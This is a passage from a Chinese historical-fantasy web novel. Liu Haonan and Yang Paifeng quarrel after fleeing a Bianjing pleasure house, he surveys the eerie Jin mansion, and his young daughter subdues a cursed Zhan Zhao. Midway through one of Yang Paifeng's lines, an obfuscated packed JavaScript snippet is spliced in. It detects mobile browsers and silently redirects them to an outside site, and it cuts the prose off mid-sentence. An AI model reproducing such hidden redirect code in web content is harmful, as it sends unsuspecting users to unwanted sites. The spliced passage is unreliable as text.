“好说好说!先生慢走!好生享用!哈哈!”金不换挥着手,脸上是毫不掩饰的、属于纨绔子弟看到“同道中人”找到乐子时的兴奋与猥琐笑意,全然未觉任何异样。 刘皓南抱着杨排风,大步流星地走下“醉月轩”的楼梯。他刻意模仿着某种记忆里的姿态——手臂环得过于用力,箍得杨排风有些不舒服;步伐迈得又大又急,完全不似常逛秦楼楚馆的宋人那般从容慵懒。经过丰乐楼喧闹的大堂时,众目睽睽之下,他甚至故意在杨排风腰间不轻不重地捏了一把,动作生硬别扭,连他自己都觉得僵硬无比。 怀中的杨排风被他这番突如其来的“亲密”举动惊得浑身一颤,肌肉瞬间绷紧,但立刻反应过来,极其配合地将滚烫的脸颊埋进他颈间,露出一段白皙的脖颈,做出一副不胜娇羞,任人采撷的模样。她能清晰地感觉到他怀抱的紧绷,肌肉硬得像石头,呼吸也比平时略显急促——这哪里是寻到了温柔乡,分明是抱着块烫手山芋,正急于离开龙潭虎穴! 走出丰乐楼灯火辉煌的大门,汴京夜的凉风扑面而来,稍稍吹散了楼内甜腻的香气和令人窒息的氛围。刘皓南抱着她,刻意选择了灯火通明、行人如织的御街主道。他记得那些辽国贵族带着抢来或买来的女子招摇过市时,最喜欢这般炫耀,于是他也学着那副姿态,故意放慢了些脚步,让街边好奇的目光能更清楚地打量他和他怀中“衣衫不整”、“羞怯埋首”的“乐伎”。 这般招摇,果然引来了诸多侧目。几个刚从酒肆出来的醉汉,见状吹起了响亮的口哨,大声调笑:“哟!这位爷好手段!从丰乐楼里抱出来的?艳福不浅啊!” 刘皓南胃里一阵翻腾,强忍着不适,逼自己扯出一个略显粗野的笑容,高声回应:“承让承让!春宵苦短,岂能辜负?”话音未落,他就感觉到怀里的杨排风身子几不可察地僵了一下,环在他颈后的手微微收紧。 转过三条人声鼎沸的街巷,再三确认身后并无跟踪的“尾巴”,刘皓南脚下方向猛地一变,迅捷地闪进一条昏暗无人的僻静小巷,将杨排风轻轻放下。 双脚刚及地,杨排风甚至来不及站稳,便一把揪住他胸前衣襟,力道之大,几乎将他拉得一个趔趄。她仰起脸,眼中惊怒未消,脸颊绯红,声音压得极低,却字字从牙缝里挤出:“刘、皓、南!回去再跟你算这笔账!” 说罢,她目光如电,迅速扫过巷子两端,确定安全后,急促道:“先离开这儿再说!” 刘皓南会意,反手握住她揪着自己衣襟的手,紧紧攥在掌心,入手一片冰凉汗湿。他不再多言,牵着她,快速而无声地穿过汴京城纵横交错、如同迷宫般的窄巷暗街。两人一路沉默,只有急促的脚步声和交握的手心中传来的、同样快速的心跳。 直到回到他们暂住的那间简陋客栈,反手拴上门闩,又仔细检查了窗户,刘皓南才靠着门板,几不可闻地舒了一口气。杨排风则几步走到窗边,背对着他,肩膀微微起伏,显然气息未平。 桌上一盏孤灯如豆,昏黄的光晕摇曳着,恰好映亮她月白襦裙领口那道被他生生撕裂的痕迹,以及裸露肌肤上被他拇指用力抹过留下的淡淡红痕。 寂静在斗室中弥漫,带着劫后余生的虚脱,以及更多难以言说的东西。刘皓南知道,今夜这场突如其来的、荒诞又危险的戏码,必须给她一个清楚的交代。 而此刻,丰乐楼“醉月轩”内,金不换挥退了乐伎与侍从,独自踱到窗边,撩起帘幕一角,正好看到楼下刘皓南抱着那“琵琶女”匆匆离去、转入街角的背影。他脸上那副纨绔的猥琐笑容渐渐收敛,眼中闪过一丝混合着得意与算计的精光。 “嘿,还以为真是油盐不进的世外高人,原来也好这口。”他低声自语,摸了摸下巴,“年纪大点的……口味是特别了点,不过,只要有所好,就不怕拴不住。爹那边,总该对我另眼相看了吧?” 他放下帘子,转身坐回坐墩,自顾自斟了杯酒,哼起了小曲,浑然不知自己眼中这场“风流韵事”,背后藏着怎样的惊涛骇浪,更不知他那位父亲,若知晓他私下如此“款待”贵客,又会是何反应。 夜色渐深,汴京城缓缓沉入梦乡。而一场关乎北汉遗秘、金府怪疾的迷局,已然随着那踉跄离去的脚步与怀中“美人”压抑的颤抖,悄然拉开了它危险而诡异的序幕。 客栈陋室的木门“吱呀”一声关上,将汴京夜市的喧嚣彻底隔绝在外。方才丰乐楼里令人窒息的脂粉香,刺耳的笙歌,金不换与众人暧昧的哄笑,以及那场惊心动魄的,裹挟着粗野与急色的虚假戏码,如同碎裂的琉璃,瞬间被遗留在昏黄如豆的灯火之外。 门扉合拢的沉闷声响还未完全消散,刘皓南已反手重重闩上了那根不甚结实的榆木门闩。动作带着未及平息的力道,震得门框上簌簌落下几点陈年木屑。他缓缓转过身,烛光下,那张素来沉静如水的脸,此刻沉得能拧出墨汁。他甚至没有去看杨排风的脸,手已先一步探出,一把抓住了她的手腕。 攥得很紧,带着不容挣脱的力道。杨排风甚至能感觉到他掌心滚烫的温度下,那无法抑制的、细微的颤抖——连他自己都未曾察觉的颤抖。 “杨排风。”他开口,声音压得极低,仿佛从喉骨深处碾磨出来,每个字都带着压抑的惊怒与后怕的余悸,“你可知那是什么地方?你怎敢如此!” 杨排风被他突如其来的动作和阴沉脸色惊得一怔,随即手腕传来的痛感让她蹙眉,那股混杂着整晚的委屈、惊吓、以及方才被他当众“轻薄”的羞愤,猛地窜了上来。她倔强地仰起脸,迎上他深不见底的眼眸:“我怎敢?我不过是担心你!那金不换一看就非善类,他无缘无故邀你赴宴,我……” “担心我?”刘皓南猛地打断她,声音陡然拔高了一丝,又在瞬间被强行压回,只剩嘶哑的气音在狭小的室内回荡,带着一种近乎后怕的凌厉,“你可知你的‘担心’,会把你我都置于何地?!丰乐楼是什么地方?汴京七十二家正店之首,背后东家水比海深!往来宾客非富即贵,高官显爵,皇亲国戚亦不稀奇!暗处多少双眼睛盯着,多少只耳朵竖着!你竟敢……”他胸膛剧烈起伏了一下,攥着她手腕的指节用力到发白,目光锐利如刀,仿佛要剖开她方才的伪装,“你竟敢易钗荆裙,扮作乐妓混进去!是,没人会疑心一个乐妓,可若有一人觉着你面善,若有一人曾出使辽国,在宫宴上遥遥见过国师夫人一面,若金不换那草包背后另有眼睛认出你来……排风,你可知道,在宋都汴京,在那种地方,被人认出是前辽国国师夫人,会是什么下场?!” 他喉结滚动,后面的话几乎是从牙缝里挤出来,带着冰碴:“是立刻被扣上‘辽国细作’的帽子押入皇城司?是被无数目光审视探究,挖出你我隐姓埋名的过往?还是被有心人拿去,作为要挟、榨取甚至抹除的筹码?你想过吗?!一念之差,便是万劫不复!那时,我拿什么去换你?拿这条早就该死在太原城外的命吗?!” 他想起方才在雅间,看到她抱着琵琶、低眉顺眼地混在乐伎中时,那一瞬间心脏骤停般的冰冷与恐惧。那种恐惧,甚至远超当年身陷天门阵,被十万宋军团团围困之时。彼时他尚有阵图,有谋算,有与敌偕亡的决绝,可若她陷在那等地方,身份暴露,他有何筹码能保她周全?那种无能为力的后怕,此刻仍在四肢百骸流窜,让他声音发颤。 “我……”杨排风被他眼中那近乎骇人的厉色与深藏的恐惧慑住了,更被他话语中描绘的可怖后果惊得背脊发凉。她只想着跟进去看看,不让他独自涉险,却未曾深思,自己这个“辽国国师夫人”的身份,在宋都的敏感地带,是何等致命的危险。她想辩解自己已尽量掩饰,想说辽国宫宴遥远,未必会被认出,可所有的话都堵在喉咙里,面对他眼中几乎要溢出来的惊涛骇浪,她竟一时语塞,只剩后怕的凉意从脚底升起。 手腕上的力道骤然一松。 刘皓南像是耗尽了力气,猛地松开了手,背过身去,对着那扇紧闭的木门,肩膀几不可察地起伏了一下,深深吸了一口气,试图将胸腔里翻江倒海的情绪强压下去。方才在丰乐楼的每一刻,他看似镇定,实则心神紧绷如拉满的弓弦,每一步都在悬崖边缘试探,每一句话都需斟酌再三。直到此刻,脱离险境,那根紧绷的弦才骤然松弛,随之而来的不是庆幸,而是排山倒海的后怕与余悸。 然而,这短暂的沉默,却像是一道裂口,让杨排风胸中那股憋屈了整晚,,混杂着惊吓、委屈、后怕、以及某种难以言说的酸涩怒火,轰然炸开。 “是!我莽撞!我思虑不周!”她忽然踏前一步,几乎要撞上他的后背,声音里带着压抑不住的颤抖,眼圈却不争气地红了,“可你呢?刘大神算!你不在州桥街老老实实摆你的卦摊,替人看相解签,跑去丰乐楼那等‘龙潭虎穴’的雅间作甚?还,还点起乐伎,听起小曲儿来了!那金不换摆明了没安好心!” 她想起方才席间,他那副陌生的模样——粗鲁地扯开她衣襟,带着薄茧的拇指用力抹过她的唇,还有那些压低声音、却足够让近处人听清的,露骨又下流的“浑话”……虽然理智在尖叫着告诉她那是在演戏,是在救她,可情感上,那股被当众如此对待的羞耻、愤怒,还有一丝说不清道不明的委屈,像毒藤一样缠绕着她的心。 “至于你那些……那些手段!”她语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185058|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带讥诮,每个字都像淬了冰的小刀子,狠狠扎出去,既是发泄怒火,也带着一丝自己都未察觉的试探与酸意,“看来刘先生当年在辽国,与同僚应酬往来,见识颇丰啊!撕扯女子衣裳的动作干脆利落,抹人嘴唇的力道恰到好处,说那些腌臜话时更是面不改色心不跳——倒比常逛秦楼楚馆的浪荡子,还要‘熟稔’三分!莫不是当年在辽国,与哪位同僚在私人府邸或风月场所宴饮时,观摩学习过?” 这话冲口而出,连她自己都怔了怔。她知道他不是那样的人。这些年在辽国,他身居国师高位,同僚往来,官员宴饮自然不少,纯男性的场合,或许更放浪形骸一些,歌姬舞娘相伴也是常事,但她从未怀疑过他的品性。可知道归知道,亲眼看见,亲耳听到他做出那副姿态,说出那些话语,心头那股酸涩窒闷的怒火,就是压不住。她气他不顾自身安危独自赴这明显不对劲的“鸿门宴”,更气他……气他演得那么像,像得让她心里发慌,像得让她在那一刻,竟真的产生了一丝陌生的、被冒犯的痛楚和……不安。 刘皓南被她这一连串夹枪带棒、又明显带着哭腔和醋意的质问砸得愣在原地,背脊微微一僵。 他缓缓转过身,目光落在她脸上。烛光摇曳,在她白皙的脸颊上投下颤动的光影,眼圈分明红着,泪水在眼眶里倔强地打转,却偏要昂着头,摆出那副“我就是有理,你奈我何”的模样。这神情,竟与多年前,在天波府门口,她提着烧火棍,瞪圆了眼睛质问“你这江湖术士,到底是不是骗子”时,如出一辙。 满腔翻腾的怒火、后怕、以及被她误解甚至带着醋意指责的憋闷,忽然就像春日河面上最后那层薄冰,悄无声息地,在她这倔强又委屈的目光里,化开了。只剩下深深的疲惫,和一丝无可奈何的、甚至带着点好笑的心软。 “排风。”他叹了口气,声音软了下来,带着一种劫后余生的沙哑,伸手,这次动作很轻,带着小心翼翼的试探,轻轻将她揽入怀中,下颌抵着她的发顶,“我去丰乐楼,是因为金不换拇指上戴着的那枚玉韘……上面是北汉皇室的蟠螭纹。” 他感到怀中人身体明显一僵,连呼吸都屏住了。 “那纹样,我至死不忘。‘三螭衔珠’,螭目嵌的是极罕见的波斯‘血睛石’。”他声音压得更低,几乎是在她耳边呢喃,带着某种沉入久远梦魇的冰冷,“三十二年前,太原城破那一夜……我父王,将一枚这样的玉韘,塞进我手里。他说,此物关联故国秘藏,让我无论如何要活下去,找到它……后来,我在乱军中丢失了它,本以为此生再不会见到……” 杨排风安静下来,伏在他胸前,先前僵硬的身体渐渐软了。她能听见他胸腔里沉稳却略快的心跳,也能感受到那心跳之下,汹涌着的,被他极力压抑的惊涛骇浪——关于国破家亡,关于流离失所,关于那些她未曾亲历、却深刻改变了他一生的血色过往。 “金府所谓的‘怪疾’,白日僵冷如尸,夜半却能起身如常,言语饮食无异。”刘皓南继续说着,手臂将她揽得更紧了些,仿佛要从这温暖的拥抱中汲取力量,也给予她支撑,“这绝非医书所载的任何病症。我虽未入金府亲见,但仅凭金不换描述的这些……十有八九,与玄门中一门早已失传、被列为禁忌的邪术——‘移魂寄体’有关。” 他顿了顿,声音里透出凝重:“此术阴毒诡异,施术者、受术者、乃至牵扯其中之人,往往不得善终。金不换如此急切寻我,只怕金府之事,远比表面看到的凶险百倍。” “至于今夜那些举动……”他苦笑了一下,那笑声干涩无比,带着一丝急于辩白的窘迫,“排风,我在辽国那些年,身在朝堂,同僚间私下宴饮,尤其是一些纯粹男人的场合……在私人府邸或是某些特定的馆阁,确实……比宫宴更放纵些。歌姬舞娘,劝酒调笑,乃至更露骨的举动,并不罕见。那种扯衣验看、言语轻薄的作派,是那些贵族官员显示权势和狎昵的常态,我……见得多了。” 他低下头,额头轻轻抵着她的,望进她犹自泛红、却已然松动了几分的眼睛,声音里带着罕见的狼狈与坦诚:“但我可以对你起誓,我从未参与,更不屑为之!今夜那些……全是硬着头皮,凭着模糊印象模仿,生怕有一丝不像,被金不换那等混迹风月场的纨绔看出破绽,功亏一篑!我扯你衣襟时,想的全是你当年中箭,我为你处理伤口的情景;说那些……浑话时,脑子里空白一片,只恨不得立刻带你离开那鬼地方!你道我‘娴熟’?可知我后背都被冷汗浸透了!” 杨排风在他怀中沉默了许久。先前那些委屈、愤怒、酸涩,在他低沉沙哑、甚至有些语无伦次的解释和剖白中,慢慢沉淀下去,取而代之的是一种沉重的了然,和更深的忧虑。她当然知道他不是那样的人,可亲耳听到他如此急切地澄清,甚至带着点笨拙的赌咒发誓,心尖那最后一点芥蒂和不安,也悄然消散了,只剩下一片温软的酸胀。 “那……你打算怎么办?”她闷闷地问,声音还带着一点鼻音,但已平静下来,手臂悄悄环住了他的腰,“既然这么凶险,那玉韘又出现了……” “正要查。”刘皓南稍稍松开她,但手仍握着她的肩膀,目光在昏黄烛光下锐利如即将出鞘的寒剑,“正因凶险诡异,才更不能置之不理。那枚蟠螭玉韘现世,金府怪疾又透着如此浓重的邪术气息——这两件事搅在一起,绝非巧合。我怀疑,金府背后,或许藏着与北汉遗秘有关的线索,甚至……可能是当年侥幸逃脱的北汉遗臣,或知晓内情之人。” 他走到窗边,推开一条细缝。汴京深秋带着湿寒的夜雾立刻漫了进来,带着远处隐约的更鼓声。“明日辰时,我需独入金府。是龙潭也要闯,是虎穴也要探。这枚玉韘,和金府的秘密,我必须弄清楚。” “不行!”杨排风立刻道,思路已然清晰起来,“我同你去。那金不换不是说府中女眷也患此‘怪疾’么?你一个外男,如何能轻易进入闺阁勘查?即便以医者或方士身份,许多地方也不便涉足。若有女眷在场,或我扮作你的助手、医女,行事才便宜。” “不可!”刘皓南断然拒绝,眉头紧锁,“今夜在金不换眼中,你我只是他用银钱促成的一段露水姻缘,一个被他用来‘款待’我的乐伎。若明日我堂而皇之带着‘昨夜春风一度的妓子’同入金府,勘查他家女眷怪疾,成何体统?岂不令人立刻生疑?金不换或许草包,但他背后那位真正掌事的金老爷,又岂是易与之辈!” 杨排风一愣,这才猛然意识到自己在金不换乃至可能存在的金府其他人眼中的身份——一个被算卦先生从丰乐楼带走的,陪侍过夜的乐伎。这个身份,在此刻成了最大的阻碍。 “我可易容改装,扮作你的药童、或者荐来的医婆……”她仍不死心,急急思索着其他可能。 “排风。”刘皓南打断她,抬手执起她的一只手,那只手因为连日来在樊楼后厨的洗涮劳作,指尖粗糙,掌心覆着一层薄薄的茧子。他用指腹轻轻摩挲着那些茧子,声音低了下去,带着难以言喻的复杂情绪,“你当我不知,你每日说是去寻些散活,实则是去了樊楼后厨帮工?这双手……” 他抬起眼,目光深深看进她眼里:“这双手,当年在天波府,提的是烧火棍,舞的是杨家枪;后来在辽国,执的是国师夫人印鉴,理的是府中内务……何曾沾过这许多阳春水、油腻污渍?你不必瞒我。你每日归来,身上总带着皂角清气,指尖有洗不净的油渍,袖口时而沾着面粉屑……排风,你当真以为,我这紫微斗数,是白学的么?我连这都算不出,还如何在汴京州桥立足?” 杨排风猛地抬起头,撞进他洞悉一切却又满是疼惜与无奈的眼眸中。原来……他早就知道。知道她偷偷去樊楼做最辛苦的杂役,只为多攒下几个铜板,补贴他们清贫的生活,让他不必为了生计而过于劳心费神。 两人就这般在昏黄摇曳的烛光中对视着,片刻后,不知是谁先牵动了嘴角,一丝笑意如同投入静湖的石子,轻轻漾开。紧接着,低低的笑声从两人喉间溢出,起初是压抑的,带着劫后余生的释然与疲惫,随即变成了带着泪意的、真正的笑。那笑声里,有对彼此心思了然的默契,有对眼下处境的无奈,更有一种历经风雨后,依旧能并肩而立的温暖与坚韧。 “好了,”刘皓南止住笑,用指腹轻轻擦去她眼角不知何时溢出的一点湿意,语气恢复了惯有的沉稳,却更添了几分不容置疑的坚决,“明日,你且安心等我消息。莫再去樊楼了,就在客栈。若金府之内,果真有那‘移魂寄体’的禁术痕迹,或查到与玉韘相关的线索,我自会设法传信于你。届时,你可假作送卦筒法器的小贩,或扮作听闻怪疾前来探看的游方医婆,见机行事,与我里应外合。” 杨排风望着他,知道他心意已决,且安排得更为周全。他独自涉险,是不愿将她置于明处的险地;而留她在后策应,则是给予彼此转圜的余地。她终于点了点头,反手握紧了他的手,力道坚定:“好,我等你信号。但你答应我,若察觉丝毫不对,立刻抽身,不可恋战。若有危险,定要发信号给我,不许再像今夜这般……独自逞强。” “好,我答应你。”刘皓南郑重应下。 窗外,汴京的夜雾越来越浓,带着深秋的寒意,无声地侵蚀着这座繁华的都城。远处传来隐约的更鼓声,已是子夜时分。桌案上,那盏燃烧已久的油灯,灯芯忽然爆出一个细小的灯花,随即,火光挣扎着跳动了两下,终于无力地熄灭了。 最后一点光亮消失,浓稠的黑暗瞬间吞噬了这间简陋的客栈客房,也将窗外整个汴京城笼罩在一片沉寂的夜幕之下。 刘皓南依旧站在窗边那条窄缝前,望着被浓雾和夜色完全吞没的、金府大概所在的方向,眸色深沉如墨。那枚消失三十二年后突然现世的蟠螭玉韘,那透着诡异与不祥的金府“怪疾”……这两者如同投入死水潭的石子,搅动起深藏于时光尘埃下的隐秘漩涡。 三十二年前的北汉秘辛,与今日汴京金府的诡异之事,其间必有千丝万缕的、令人不安的牵连。 而这,或许仅仅只是一个开始——一个交织着故国遗恨、玄门禁术、人心鬼蜮与未知凶险的,漫长而黑暗的序幕,正在这深秋的浓雾之后,缓缓拉开。 山雨欲来,风已满楼。而他们,已无可回避地,站在了风暴将至的窗檐之下。 31. 华山派与玉女门的道统 申时三刻,汴京金府门前。 夕阳余晖为高耸的门楣镀上一层近乎不祥的鎏金。青衫布履的卦师刘皓南驻足阶前,指尖状似无意地拂过门楣上那尊狰狞的貔貅石刻。触手冰凉,雕工精湛,凶兽吞财的利齿在指尖留下粗粝的质感。他袖中那方紫檀木罗盘,在幽暗的夕照下,竟发出几乎微不可察的,持续的低频震颤,盘面天池内的磁针,并非剧烈摆动,而是如同被无形之手拨弄,以一种违背常理的、极其缓慢而稳定的速度,逆着“三元九运”的常理微微偏转。 “乾位坐北朝南,得午时阳气最盛;坎位引活水入宅,聚财化煞;巽位借东风,藏风纳气……好一个‘三元不败、五福临门’的绝佳阳宅格局。” 刘皓南心中默诵,目光却如最敏锐的鹰隼,掠过那一重重飞檐斗拱。飞檐脊兽俱全,螭吻、嘲风、狻猊……形态威猛,方位无误。然而,正是这分毫不差的“完美”,在夕阳斜照下,投出的阴影彼此交错连接,隐隐竟在庭院中心的地面上,勾勒出一个模糊的、倒置的八卦虚影。大吉之象,暗藏逆反之机。 金不换满脸堆笑,引着他穿过三重朱漆仪门。一路行来,庭院深深,花木扶疏,仆役规矩,处处透着巨富之家的豪奢与井然。然而,当踏入后花园的月洞门时,刘皓南的脚步几不可察地一顿。 眼前是一方占地颇广的碧波池塘,假山玲珑,曲桥婉转,水面倒映着渐暗的天光与华丽的亭台楼阁。然而,在刘皓南眼中,那水面氤氲的不是水汽,而是一层极淡、却凝而不散的乳白色灵气,在夕阳最后的光晕里,隐隐流转着肉眼难辨的碎金光芒。这绝非寻常地脉滋养的灵气,倒更像是……某种被禁锢、被驯服的灵体所散逸的余韵。 更令他心头微沉的是池塘畔的亭台布局与假山走势。那座太湖石堆叠的假山,峰峦起伏的脉络走向,竟与记忆深处某个宅邸的假山有七分神似——那是三十年前,北汉降臣,曾官至工部侍郎的卢善衡,在汴京的旧宅,而水榭飞檐上,一只螭吻石兽的尾部,有一道极其隐蔽的、非自然风化的残损纹路,与卢宅那只被雷击毁的螭吻残纹,几乎一模一样!是巧合,还是…… 他悄然挪动脚步,借整理袖口之机,指尖一撮特制的、感应水气流动的“浮尘金粉”无声洒落池边。金粉并未随波逐流,反而像是被无形之力牵引,向着池心某处缓缓汇聚,随即悄无声息地逆时针旋转下沉——池底有暗流,且是人为引导的逆向暗流!这绝非风水学中常见的“玉带环腰”或“九曲来水”,倒更像某种失传古籍中记载的、以水为媒、逆转阴阳、镇压某种东西的邪异阵法!所谓“聚财”,或许是这阵法运转时,无意中吸纳周边生气的副产品。 “刘先生,这边请。舍妹这几日身子有些不适,本不该劳烦,但实在是……” 金不换击掌,两名青衣丫鬟应声掀开临水轩的珠帘。 一位身着鹅黄绫纱襦裙的少女,在丫鬟的搀扶下款步而出。她年约及笄,云鬓微松,插着一支简单的珍珠步摇,面色是久未见阳光的苍白,但眉目清明,眼神虽有倦怠却无浑浊,行走间裙裾摆动幅度合宜,气息虽弱却平稳。这绝非中邪失魂或被精怪附体之人该有的模样,倒更像是……心思郁结,或受了某种缓慢的,侵蚀元气而非神魂的阴损。 “金小姐。”刘皓南拱手为礼,目光平静扫过少女周身,未察觉任何外邪阴气依附的迹象,反而在她腰间一枚羊脂白玉佩上停留一瞬——玉佩雕工精细,但玉质内部,有一丝极淡的、仿佛血沁般的暗红絮状物,正在缓缓游动。 “此地格局上佳,然‘物极必反,吉极易藏煞’。” 刘皓南收回目光,指节在临水的汉白玉石桌上轻轻一叩,发出清脆声响,目光似无意般扫过西北角那座飞檐高耸、门窗紧闭的藏书楼。楼顶的脊兽,在暮色中轮廓模糊。“今日时辰稍晚,气机沉滞。容刘某改日备齐‘镇盘’、‘量天尺’等法器,再为府上细勘,或可找出那隐藏极深的‘一点疏漏’。” 他心下了然,这金府绝非简单的闹邪或风水有亏。这池塘,这布局,这玉韘,还有那位看似“只是不适”的金小姐……处处透着精心修饰下的诡异。此刻自己势单力孤,法器未齐,不宜打草惊蛇。 子时,夜雾如浓稠的墨汁,在御街空旷的石板路上缓缓流淌。 刘皓南一身利落夜行衣,如同融入夜色的影子,悄然潜行至距离金府一街之隔的暗巷檐角。他正凝神感应着金府方向那异常隐晦的灵气波动,忽闻前方御街传来百姓惊恐的尖叫与器物碎裂的巨响! 凝目望去,只见御街中央,开封府御前四品带刀护卫展昭,双目赤红如血,原本清正凛然的面容此刻扭曲狰狞,仿佛承受着巨大的痛苦与疯狂。他手持巨阙剑,剑身嗡鸣震颤,竟隐隐泛起不祥的血光。此刻的展昭,状若疯魔,正对着虚空狂乱劈砍!剑风呼啸,凌厉无匹的剑气纵横肆虐,所过之处,铺地的厚重青石板如同豆腐般被轻易切开、迸裂!道旁碗口粗的槐树被拦腰斩断,轰然倒地;临街店铺的招幌、门窗被绞成碎片;更有一道剑气斜飞,将一座石狮子的头颅削去半边!碎石迸溅,烟尘弥漫。破坏力惊人,堪称摧枯拉朽,但诡异的是,他看似毫无章法的剑招,却总在千钧一发之际,奇异地避开了所有奔逃尖叫的百姓,仿佛那疯狂杀戮的意念,只针对无形的“心魔”,或被某种残留的理智约束,未曾真正伤及无辜性命。 “血魇咒!” 刘皓南瞳孔骤缩,身形在阴影中绷紧。此乃辽国萨满秘传的顶级禁术,专蚀心智,放大心魔。展昭武功绝顶,心志坚毅,此刻被心魔所困,激发的破坏力着实骇人。他正暗自计算,若以“清心定魂符”配合步法袭扰,有几分把握能制住这陷入疯狂的一流高手而不被其剑气所伤…… “咻——!” 一道赤红流光,自东南方屋檐上疾射而下!其速如流星坠地,其势如烈火焚空,将浓重夜雾撕开一道灼热的轨迹! 那流光竟是一枚鸽卵大小、通体剔透如琉璃、内蕴流火般赤芒的玉诀!玉诀拖着长长的焰尾,以不可思议的精准,避开展昭狂乱挥舞的巨阙剑影,“噗”一声轻响,正中其后心“灵台穴”! “轰——!” 清圣炽烈之气轰然爆发。刺目欲盲的清光,凝练如柱,自玉诀击中处冲天而起,将方圆十丈的御街照得亮如白昼!光柱中隐有古老符文流转,浩然正气涤荡四方,空气中弥漫的暴戾、疯狂气息,如同冰雪遇阳,瞬间消融。 狂吼中的展昭身体猛地一僵,赤红双目中的疯狂如潮水般褪去,眼中只剩一片空洞的茫然,随即,他手中巨阙剑“哐当”坠地,整个人如同被抽去所有力气,直挺挺向前扑倒,重重摔在冰冷的青石板上,再无动静。 刘皓南在暗处看得分明,心头剧震——玄火古玉诀!先秦辟邪至宝,用一枚便少一枚的稀世奇珍!谁人如此……阔绰,或者说,败家? “大师兄!对不住啦!师傅新给的这‘玄火古玉诀’就是好用,一下就能让你安静睡会儿,省得大家麻烦!” 一个清脆稚嫩、却老气横秋、带着不容置疑的理所当然的女童声音,自旁边屋顶传来。 月光与尚未散尽的清光交汇处,一个看起来不过六七岁的小小身影,提着一盏精巧的琉璃绣球灯,从屋檐上轻盈跃下,落地无声。她身着一袭玉白色冰绡裁成的窄袖道袍,并非成人制式,而是专为孩童所制的短打款式,但质料非凡,在月光下流转着淡淡莹润光泽。袍服虽小,衣领袖口处以极细的银线绣着的繁复北斗星纹与云雷暗纹却一丝不苟。腰间束着一条细细的紫金绦丝绦,显得利落又贵气。她头发梳成两个乖巧的圆髻,各用一串莹润小巧的珍珠发绳束着,正中插着一支更为小巧的、镶嵌着米粒大小东珠的银簪,那东珠竟自行散发着柔和朦胧的光晕,映得她一张小脸玉雪可爱,眉眼灵动。她腕上一对缩小版的九转玲珑金丝细镯,随着动作发出清脆悦耳的叮咚声响——正是隐世宗门“玉女门”长老的身份信物。 正是刘皓南年仅七岁、拜入聂隐娘门下两年的幺女,刘望舒。 她落地后,先是踮着脚尖,用绣鞋尖踢了踢地上那枚灵气尽散、裂成数片、已然报废的“玄火古玉诀”,小脸上满是“任务完成”的轻松,仿佛刚才扔出去的不是足以让无数修士打破头的稀世奇珍,而是一颗有点硌脚的小石子。随即,她一手提灯,一手叉腰,扭头就冲着刘皓南藏身的暗处方向,脆生生地喊道: “爹爹!别躲啦!我看见你啦!快出来帮忙搬人呀!你这‘师侄’沉死啦,难道要看你家宝贝闺女我这细胳膊细腿的,把他拖回开封府去吗?” 刘皓南眼角微抽,无奈地从暗影中走出。他先迅速扫视四周,确认并无旁人注意到女儿那惊世骇俗的“亮相”,这才看向地上那堆古玉诀碎片,又看看自家粉雕玉琢、却满脸写着“我干得漂亮吧快夸我”的小女儿,只觉得额角青筋都在跳。 “胡闹!” 他压低声音,语气带着难以掩饰的痛惜与后怕,“此乃‘玄火古玉诀’,护身至宝,世间罕有!你、你便如此……用了?以你如今修为,即便无法力敌,也可设法周旋,或发信号求援,再不然以‘清心咒’远距离干扰,徐徐图之,何至于……” “师傅说了!” 小望舒扬起小下巴,打断父亲的话,稚嫩的声音里是全然的理所当然,还带着点“你们大人就是麻烦”的小得意,“能一下解决的事,绝不用第二下!什么清心咒、发信号,磨磨唧唧,万一伤到花花草草,或者吓到路过的小猫小狗怎么办?我玉女门的道理,就是天底下最省力、最高效、最干脆的道理!法宝炼来不就是用的吗?用了这个,师傅下次肯定会给我更好玩的!” 说着,她像是嫌站着说话累,竟又从腰间那个绣着可爱小兔子图案、实则内有乾坤的锦囊里,掏出一把通体莹白、纹路似水波的小玉梳,自顾自地梳了梳刚才飞檐走壁弄乱的小鬓角。那玉梳不过巴掌大小,却隐有光华流转——竟是南海鲛人幼崽颌骨打磨而成、有宁神静心奇效的“鲛魄梳”,同样价值不菲,在她手中却跟街头两文钱的桃木梳无异。 “哎呀,爹爹你别看啦!” 她见父亲盯着玉梳,小嘴一撇,理直气壮,“仪容也很重要!师傅说,玉女门弟子,无论年纪大小,打架斗法后也要漂漂亮亮、清清爽爽!别磨蹭了,快点嘛!难道你真要让你七岁的、‘弱不禁风’的小闺女,一个人把这——么——大——的块头弄回去吗?” 她夸张地张开手臂比划着,小脸上写满了“你不帮忙就是欺负小孩”。 刘皓南看着女儿那与聂隐娘如出一辙的、“我的道理就是道理,甭管多奢侈、多不合常理”的理直气壮模样,再想想她口中那位护短阔绰、行事更是不羁的师傅,一时竟无言以对。华山道统的“俭”、“稳”、“谋定后动”,到了这对师徒手里,怕是早被扔到九霄云外,换成了“快”、“省事”、“法宝管够”。他只能无奈地摇了摇头,上前查看了一下展昭的情况,确认只是被古玉诀的清净之力暂时震晕,并无大碍,这才俯身,准备将人扶起。 “师傅让我下山,就一件事——看看大师兄有没有被坏人欺负,别的闲事一概不许管,看完就回去练功。” 小望舒凑过来,压低小奶音,学着大人模样,神神秘秘地说。同时伸出白嫩的小手指,指尖凝聚一点淡金色的、与她年龄不符的精纯灵力,迅疾在展昭眉心画了一道繁复的安神符箓,金粉流光一闪,没入肌肤。“血魇咒的根子还在,我这‘玄火诀’只是暂时震散了表层的狂乱心魔,让他好好睡一觉。这咒阴毒得很,黏糊糊的,要想彻底弄干净,还得爹爹你这种会画好多好多符的‘老古板’出手才行。” 她眨巴着大眼睛,语气里带着点“我看好你哦”的意味。 刘皓南扶起昏迷的展昭,目光却再次投向不远处夜色中金府那沉默的轮廓,眉头微蹙:“你师傅可曾对你提过……汴京金府?尤其是,他家后花园那方池塘?” 